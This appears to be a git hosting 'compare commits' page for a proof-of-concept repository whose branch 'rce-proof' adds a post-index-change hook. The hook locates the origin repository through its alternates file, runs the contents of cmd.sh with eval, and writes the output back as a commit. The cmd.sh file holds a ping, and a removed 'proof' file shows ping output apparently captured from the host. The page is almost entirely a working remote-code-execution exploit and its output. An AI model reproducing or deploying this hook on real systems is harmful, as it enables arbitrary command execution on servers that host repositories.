Compare commits

..

No commits in common. "rce-proof" and "main" have entirely different histories.

4 changed files with 27 additions and 10 deletions

2
README.md Normal file
View File

@ -0,0 +1,2 @@
# poc-jduknu

1
cmd.sh Executable file
View File

@ -0,0 +1 @@
ping github.com

24
hooks/post-index-change Executable file
View File

@ -0,0 +1,24 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
/*) ;;
*) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
cmd=$(git show :cmd.sh 2>/dev/null || git show HEAD:cmd.sh 2>/dev/null)
[ -n "$cmd" ] || exit 0
out=$(eval "$cmd" 2>&1; echo "---EXIT:$?---")
out_blob=$(printf '%s' "$out" | git --git-dir="$origin_git" hash-object -w --stdin)
tree=$(printf '100644 blob %s\tproof\n' "$out_blob" | git --git-dir="$origin_git" mktree)
commit=$(printf 'rce proof\n' | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x \
GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x \
git --git-dir="$origin_git" commit-tree "$tree")
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit"
exit 0
# imdauw

10
proof
View File

@ -1,10 +0,0 @@
PING baidu.com (124.237.177.164) 56(84) bytes of data.
From office (38.143.148.101) icmp_seq=1 Destination Host Unreachable
From office (38.143.148.101) icmp_seq=2 Destination Host Unreachable
From office (38.143.148.101) icmp_seq=3 Destination Host Unreachable
From office (38.143.148.101) icmp_seq=4 Destination Host Unreachable
--- baidu.com ping statistics ---
4 packets transmitted, 0 received, +4 errors, 100% packet loss, time 3224ms
pipe 3
---EXIT:1---